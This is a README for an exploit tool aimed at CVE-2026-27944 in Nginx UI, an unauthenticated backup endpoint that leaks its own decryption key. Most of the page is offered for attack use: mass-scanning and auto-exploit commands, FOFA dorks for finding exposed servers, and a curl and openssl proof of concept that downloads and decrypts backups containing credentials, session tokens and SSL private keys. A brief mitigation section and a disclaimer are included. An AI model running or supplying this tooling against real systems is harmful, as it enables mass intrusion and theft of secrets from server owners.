Cve-2026-27944-Tools-Exploit

🚀 CVE-2026-27944: Nginx UI Unauthenticated Backup Exploit

📌 Description

27944.py is an exploitation tool for CVE-2026-27944 that allows an attacker to download and decrypt Nginx UI backups without authentication.

This vulnerability exists in Nginx UI versions < 2.3.2 and allows access to:

· User credentials & session tokens · SSL private keys · Nginx configuration · Database files

🔧 Features

· ✅ Mass scanning from target file · ✅ Single target exploit · ✅ Auto download backup · ✅ Auto decrypt AES-256-CBC · ✅ Auto extract credentials from backup

🛠️ Installation

git clone https://github.com/bimabalance/CVE-2026-27944.git
cd CVE-2026-27944
pip install -r requirements.txt

🚀 Usage

1. Mass Scan

python 27944.py -f targets.txt -o hasil_scan

2. Single Target Exploit

python 27944.py -t target.com:9000 --exploit --decrypt

3. Full Exploit

python 27944.py -f targets.txt --exploit --decrypt -o hasil_full

📋 Targets Format

target1.com:9000
192.168.1.1:9000
target2.com:8080

🎯 FOFA Dork

title="Nginx UI"
icon_hash="-1565173320"
header="X-Backup-Security"
body="Nginx UI" && port="9000"
title="Nginx UI" && country="ID"

📂 Output Results

results/
├── results.json
├── target_backup.bin
├── target_backup_decrypted.zip
└── target_extracted/
    ├── app.ini
    ├── database.db
    ├── nginx.conf
    └── ssl/

⚠️ Disclaimer

This tool is created for educational purposes and ethical security testing. The author is not responsible for any misuse of this tool. Only use it on systems you own or have written authorization to test.

📝 Technical Explanation

CVE-2026-27944 is a critical vulnerability in Nginx UI that allows an attacker to access the /api/backup endpoint without authentication. The backup contains sensitive data encrypted with AES-256, but the key and IV are sent via the X-Backup-Security header in Base64 format.

CVSS Score: 9.8 (Critical)

Affected Versions: Nginx UI < 2.3.2

Mitigation:

1. Upgrade to Nginx UI v2.3.3
2. Block access to /api/backup
3. Rotate all credentials

💀 POC

# Check vulnerability
curl -I http://target:9000/api/backup

# Download backup
curl -s http://target:9000/api/backup -o backup.bin

# Decrypt backup (manual)
openssl enc -d -aes-256-cbc -base64 -K <key> -iv <iv> -in backup.bin -out backup_decrypted.zip